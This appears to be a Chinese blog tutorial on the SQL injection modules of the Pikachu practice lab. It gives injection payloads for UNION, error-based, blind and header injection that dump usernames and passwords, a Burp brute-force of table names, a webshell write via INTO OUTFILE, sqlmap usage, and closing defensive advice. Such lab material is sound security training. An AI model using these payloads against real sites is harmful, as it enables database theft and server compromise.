PikahuSQL注入模块(Sqlinject)(实验实战篇)心态要好(?▽?)

小伙伴们有没有发现截图很不清楚,用127.0.0.1打开就很清楚,用本机ip打开就很模糊,软件包环境应该是没错,后来换了一个浏览器发现就好了,原来是浏览器的问题!

一,数字型注入:

看到界面后我们发现只能输入id(1-6),我们来试试:

因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样

$id=$_POST[‘id‘]

select字段1,字段2from表名whereid=1$id这里的id就是提供的1-6

我们抓包来看一下:

这时只返回了一个值,现在我就是入侵者,我截获了这个数据包,但是我想要的是其它库中的数据,怎么办啊!

我们只要让这个式子恒等,无论输入的是啥都可以返回正确的结果:我们将id的式样改为1or1=1我们再试试。

此时的这种情况就是明显的存在数字注入漏洞。

二、字符型注入(GET)

我们看到界面随意输入一些东西:输入不存在的用户时,会提示用户不存在。另外这是一个GET请求,我们传递的参数会出现都URL中

因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

$name=$_GET[‘username‘]select字段1,字段2from表名whereusername=‘$name‘我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

username‘or‘1‘=‘1‘#MySQL中有3种注释:

①#

②--(最后面有个空格)

③/**/,内联注释,这个可以在SQL语句中间使用。select*from/*sqli*/users;

我们看到全部用户信息都出来了,破坏者又得逞了!

三、搜索型注入:

还是先随便输入试一下效果:

我们看到当我们搜索的字母存在于用户名中,则会返回对应的用户。我们构造恒等!

选择语句:L%'or'1'='1'#

四、XX型注入:

经过测试我们发现还是字符型注入,只不过是包裹的形式不一样罢了!单括号单引号闭合不多说

g')or1=1#

五、在这里我们再次回顾普及一下知识:

在这3种情况中,我们不能使用union去做联合查询,因为这不是查询,而是操作。

常用的报错函数:updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select/insert/update/delete)

技巧思路:

背景条件:

三个常用函数

updatexml()

updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值

语法:UPDATEXML(XML_document,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

XPath定位必须是有效的,否则会发生错误

我们在pikachu平台上的字符型注入中实验,我们利用报错来获取信息。

union联合注入:一个字,就是猜,然后去试验,我们相到了二分法。

第一步:判断字段数:1')orderby4#(xxs模块为例)

1')orderby2#

可以知道字段数是2

第二步:使用联合查询语句得到数据库:pikachu

1')unionselectdatabase(),2#

第三步:查询数据库中的表

1')unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu'#

第四步:查询users表中的字段名:

1')unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users'#

第五步:联合查处得到用户名和密码

1')unionselectusername,passwordfromusers#

updatexml()报错型注入:(字符型注入模块为例)

看得到了我们MySQL的数据版本了。那我们把version()换成database()就能取得数据库的名称了。

查询表名:1'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu')),0)#

但是此时会报错,返回的数据多于1行,只能显示一行。

解决办法:我们可以修改(limit0,1)的值,第0位置第一个数据

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把limit语句换成limit1,1

limit后的第一个数据是起始位置,第二个数字是取出的数据条数

取出所有的表名,就去获取字段

以此类推,取出所有的列名。我们就能去取数据了

1'andupdatexml(1,concat(0x7e,(selectpasswordfromuserswhereusername='admin'limit0,1)),0)#

extractvalue()与updatexml()是亲兄弟,用法一致。

六、insert/update注入

update报错注入也是:

还是报错型语句:

id=1orupdatexml(1,concat(0x7e,database()),0)

因为是在url中,所以需要进行url的编码:

我们看成功了!

八、HttpHeader注入:

注意:我们看到user-agent或者cookie都可以进行注入:

将admin'andupdatexml(1,concat(0x7e,database()),0)#粘贴到cookie:ant[uname]=后面,发现注入成功

将1'orupdatexml(1,concat(0x7e,database()),0)or'粘到User-Agent出,如图,点击go,发现也可以。

九、sql盲注(baseonboolian)

盲注,我们进行注入时,一般只会返回显示错误还是正确的信息,所以工作量很大,需要耐心试。

当然我们这时候就可以运用二分法来缩减工程量:1'andascii(substr(database(),1,1))=112#回显为真,猜出database的第一个单词是p

1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>112#回显错误。。。

十:sql盲注(baseontime)

1'andif((substr(database(),1,1))='p',sleep(5),null)#用if做判断,通过database把数据库名称取出来,通过substr把数据库第一个字符取出来,和p作比较,如果等于p则暂停5秒钟再返回

十一、宽字节注入

当我们输入有单引号时被转义为\’,无法构造SQL语句的时候,可以尝试宽字节注入。GBK编码中,反斜杠的编码是“%5c”,而“%df%5c”是繁体字“連”。在皮卡丘平台中,将利用BurpSuite截获数据包,发送到Repeater中,在里面写入payload当我们用通常的测试payload时,是无法执行成功的,下面的payload会报错:

十二,其它办法进行SQl注入:

除了上面的方法之外,还有其他的办法,比如暴力破解一句话木马sqlmap工具等。

@1、暴力破解SQL数据库举例:

之前我们都是通过information_schema数据库来获取信息,很多时候information_schema会被屏蔽掉,也可能遇到的不是MYSQL数据库。

暴力破解表名和列名称:

1'andexists(select*fromgg)#

我们去抓包,发送到Intruder模块里面去,选中破解变量gg,攻击模式Sniper,

Payloads模块,设置破解字典

Options模块

Startattack(攻击)

1'andexists(selectidfromusers)#做法是一样的,破解变量是id。

@2,一句话木马之sql。

以字符型(get)做为测试目标,需要先将数据库开启secure_file_priv配置

写入木马,通过菜刀,拿到shell:

1'unionselect"",2intooutfile"C:\\phpStudy\\WWW\\pikachu-master\\2.php"#

1'unionselect"",2intooutfile"C:\\PhpStudy\\WWW\\pikachu-master\\1.php"#

通过get型,可以在url中写入语句

1'unionselect"",2intooutfile"C:\\PhpStudy\\WWW\\pikachu-master\\2.php"#

可以在url中执行cmd命令

sqlmap工具使用入门及案例介绍:参考链接:

sqlmap:sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。

操作步骤:

开始我们的实验,发现它是一个get请求,

第一步:找到对应的输入点,在输入框中输入字符得到url:

第二步:判断是否存在漏洞:

发现name是存在SQL注入的:

第四步:得到表名:

第五步:得到字段名:

第六步:拿到数据

实际上这个使用它已经找到里面的数据啦,但发现里面是加过密的,

第七步:用自带的字典对数据破解:

得到用户名和密码,sqlmap非常方便而且强大。

SQL漏洞常见的防范措施:

一般来说我们有两个维度,一个是代码层面,一个是网络层面

●代码层面

1、对输入进行严格的转义和过滤

2、使用预处理和参数化(Parameterized)

而1的比不是很好,因为SQL一更新出来新的特殊字符,会失效,

推荐的做法是2:使用PDO的prepare预处理,它是以索引数组得方式传进去,而不是拼接,就成功防止啦注入

●网络层面

1、通过WAF设备启用防SQL-Inject注入策略(或类似防护系统)

THE END
1.趣味知识竞赛:趣味科技知识竞赛考试答案(考试必看)107、单项选择题 大自然中废纸的分解约需要()个月。 A.1-2 B.3-4 C.5-7 D.8-10 点击查看答案 108、单项选择题 在石灰/石灰石法脱除气体中SO2的关键步骤是() A、生成HSO3— B、生成H2SO3 C、生成Ca2+ D、生成H+ 点击查看答案 109、判断题 现代人正进入以"室内环境污染"为标志的第三污染时...http://www.91exam.org/exam/87-4518/4518813.html
2.食品安全知识降常识降教育食品标签,是指在食品包装容器上或附于食品包装容器上的一切附签、吊牌、文字、图形、符号说明物。标签的基本功能为:食品名称、配料表、净含量及固形物含量、厂名、批号、日期标志等。它是对食品质量特性、安全特性、食用、饮用说明的描述。 看食品标签要注意以下几个方面:(1)标签的内容是否齐全;(2)标签是否完整;...https://www.hkcdc.cn/new-311.html
1.干货快手直播入门手册注:以下内容分为五部分:①快手直播开播流程;②快手直播功能操作;③快手直播人气攻略;④快手直播规则;⑤直播前准备(;⑥直播中提效;⑦直播后总结 一、直播开播流程 1.基础搭建 1.1下载并打开“快手”APP,根据页面提示注册快手账号。 1.2点击快手首页左上角三个横杠【菜单】-右下角【设置】-【开通直播】,根据引导操...https://www.uqudao.com/articleDetail/1062
2.元宵节经典灯谜(必备15篇)46、书香门第猜一个字 答案是:闵 47、元宵节后东陵行(字谜)。院 48、愚公之家(打一成语)。 开门见山 49、万万见不得人 (打一字)——谜底:乙 50、弯弯树,弯弯藤,藤上挂串水晶铃。打一水果。【谜底】葡萄 51、接二连三添外孙(猜三字京剧名词)--女老生 ...https://www.yjbys.com/xuexi/dengmi/4345347.html
3.生活用品谜语集锦8、说它肥并不肥,说它糟并不糟,虽然日渐消瘦,依然无忧无愁。(打一清洁用品)——谜底:肥皂 9、银光壁,水晶宫,夹层玻璃不透风,火热心肠为人民,专把温暖给群众。(打一常用物品)——谜底:暖水瓶 10、三个绕圈奔走忙,遵守时间不知倦,约定时间忘记了,定要和你闹一场。(打一常用物)——谜底:闹钟 ...https://www.yuwenmi.com/miyu/18973.html
4.八仙过海歇后语小升初必背名言名句成语谚语歇后语一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝。 一人一双手,做事没帮手,十人十双手,拖着泰山走。 玉不琢,不成器; 人不学,不知义。 兼听则明,偏信则暗。 三、常用的成语归类: 1描写人的品质 平易近人 宽宏大度 冰清玉洁 持之以恒 锲而不舍 废寝忘食 大义凛然 ...https://www.lwuxueyong.cn/lzmy/lzmy55996.html
5.信息系统安全期末复习题库太原理工大学7. 任何一个密码系统必须基本具备三个安全规则:(机密性)、(完整性)、(认证性)。 8. 信息加密方式按照密钥方式可划分为(对称密码加密)和(非对称密码加密) 9. 网络加密常用的方式有( 链路加密 )和( 端点加密 )。 10. PGP 用的是(公钥加密和传统加密的杂合)算法。 https://blog.csdn.net/dzqxwzoe/article/details/140143842
6.我的国没有那么厉害——盘点亟待攻克的“卡脖子”核心技术一个分子链上有两个以上的多官能团分子,可以交联反应而形成不溶、不熔具有三向网状结构的高聚物。而航空结构件的使用环境极为严苛,碳纤维复合材料必须能长期耐得住上百摄氏度的高温和零下几十摄氏度的低温;同时,在湿热条件下玻璃化转变温度、弹性模量及压缩强度不能显著下降,这就需要更高官能度、环氧值而且黏度合适...https://www.zhuanzhi.ai/document/1f90ea1d7e798e49cafcd8ec484699f2
7.初中物理知识点(15篇)5.乐音的三个特征:音调、响度、音色。(1)音调:是指声音的高低,它与发声体的频率有关系。(2)响度:是指声音的大小,跟发声体的振幅、声源与听者的距离有关系。 6.减弱噪声的途径:(1)在声源处减弱;(2)在传播过程中减弱;(3)在人耳处减弱。 7.可听声:频率在20Hz~20000Hz之间的声波:超声波:频率高于20000Hz...https://m.oh100.com/wuli/4143473.html
8.2023年元宵节的灯谜以及答案解析元宵节灯谜以及答案食物实用许三多 18、彩排(国名)。以色列 19、四处雨露万物生(影星)。周润发 20、北京有个家(补品)。燕窝 1、草上飞。谜底:早 2、池塘亮底。谜底:汗 3、入门无犬吠。谜底:问 4、入史册。谜底:更 5、陕西人十分好。谜底:附 6、上无兄长。谜底:歌 7、上下一体。谜底:卡 8、十个哥哥。谜底:克 9、十五天。谜底...https://fw.chazidian.com/mip/fanwen1888049/
9.关于洗碗机的五大问题目前较为常用的为叶轮式和喷射式 ,这两种洗涤方式的洗碗机具有结构简单、效果较好、售价低和维修容易等优点。 洗碗机套数: 从容量来看,洗碗机有6套、8套、10套,12套,13套到最大的21套不等 。 一套餐具可以简单理解成:1个饭碗,一个餐盘、一个汤碗、一个玻璃杯,一个汤勺,一副筷子和小物若干 ...https://m.jia.com/jcjm/article/600654.html
10.梦幻西游2023元宵灯谜答案有哪些2023元宵灯谜答案大全汇总7、梦幻西游里阴曹地府的森罗殿有几个NPC 答案:11个 8、梦幻西游里麒麟山的太岁府有几个NPC 答案:3 9、梦幻西游里能提高活力上限的辅助技能是 答案:养生之道 10、梦幻西游里能提高体力上限的辅助技能是 答案:健身术 11、梦幻西游里乾坤盘对抗赛活动于每周星期几举行 答案:星期三 12、梦幻西游里130级的武器和...https://www.3733.com/news/336727.html
11.食品安全知识问答题内容8、汤圆变红后不能食用的原因是( C ) A、变红的地方不易被消化,容易引起消化不良 B、变红后汤圆的口感不好 C、变红是被酵米面黄杆菌污染的结果,由于该菌能产中毒素,食用后引起中毒 D、以上说法均不正确 9、黄曲霉毒素具有很强的毒性,对于因黄曲霉污染而变色的稻米, ...https://rxxx.xhedu.sh.cn/cms/app/info/doc/index.php/27331
12.40个金贵小秘方,一次收藏方便一辈子!降生活把鸡蛋打进碗里,用一个空饮料瓶子在蛋黄上面轻轻吸取即可轻松分离蛋清蛋黄。这个方法比其他传统方法干净卫生快捷,如果暂时不用蛋黄,可以盖上饮料瓶的盖子,直接放进冰箱保存。 4、快速剥大蒜 将大蒜掰为小瓣后放在热水中浸泡数分钟,然后捞出,其皮便很容易剥下。亦可将蒜瓣放在案板桌上,用菜刀轻拍几下,皮就极易剥...https://www.dadaojiayuan.com/jiankang/93845.html
13.meterpreter会话渗透利用常用的32个命令归纳小结然后使用菜刀连接http://server.example.com/nc.php并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log 里面了。也可以导出为hex 格式,–output 换为–hex-dump就可以了。 4:其实与nc 功能类似的工具在bt5 里面还有很多,比如还有一个sbd: 监听:sbd -l -p 12345 ...https://www.pianshen.com/article/2327869486/
14.2024英国厨房刀具选购指南(分类+品牌+中式菜刀推荐)找到试用性强...SPITZENKLASSE 刀具六件套里面包含多用刀,三德刀,中式厨师刀,多功能剪刀,磨刀棒,刀架,比较适合华人使用频率和习惯。并且是德国制造哦。 以上三家也有中式厨刀售卖哦,而且还比较好用! 推荐Chinese Chef's Knife (三)中式厨刀 以上介绍了英国西式厨刀的种类及其优质品牌。不过许多华人也表示在此基础上还是要购买一把专...https://www.extrabux.cn/chs/guide/4597037
15.不看绝对后悔的Linux三剑客之awk实战精讲51CTO博客-F 指定分隔符为冒号,相当于以“:”为菜刀,进行字段的切割。 NR>=2 && NR<=6:这部分表示模式,是一个条件,表示取第2行到第6行。 {print NR,$1}:这部分表示动作,表示要输出NR行号和$1第一列。 1. 2. 3. 4. 5. 示例1-2 只有模式 https://blog.51cto.com/hujiangtao/1923930
16.分享日常做菜过程中我常用的那些调料们(7.3更新冬阴功调料)我这三瓶分别是:1藤椒油,用来做藤椒钵钵鸡或者其他麻辣类菜用的;2凉拌红油,一般做凉拌菜用;3黄灯笼椒,我用的是【南国】这个牌子,用来做金汤肥牛的。 8.粉末类调料 (1)黑白胡椒 这个家里用的很频繁,腌肉、烧菜经常会用到,用现磨的真的好吃很多。黑胡椒粉我一直买的都是【味好美】的,因为本身自带研磨瓶,比...https://www.douban.com/note/755949420/
17.千川拆解实操付费直播间必看的千川操作底层逻辑!7、账户常用的人群包有3种方式搭建: 第一千川后台 第二小店后台 第三巨量云图 最高效的人群包搭建方式-千川后台。 在正式说建人群包之前先要明白人群包的作用是什么?有没有很重要?新账户要不要做人群包? 先说人群包作用就是多一个测试的方向,把人群包看作定向的一种,不是什么神秘的东西!人群定向主要的3块...https://www.shangyexinzhi.com/article/5088834.html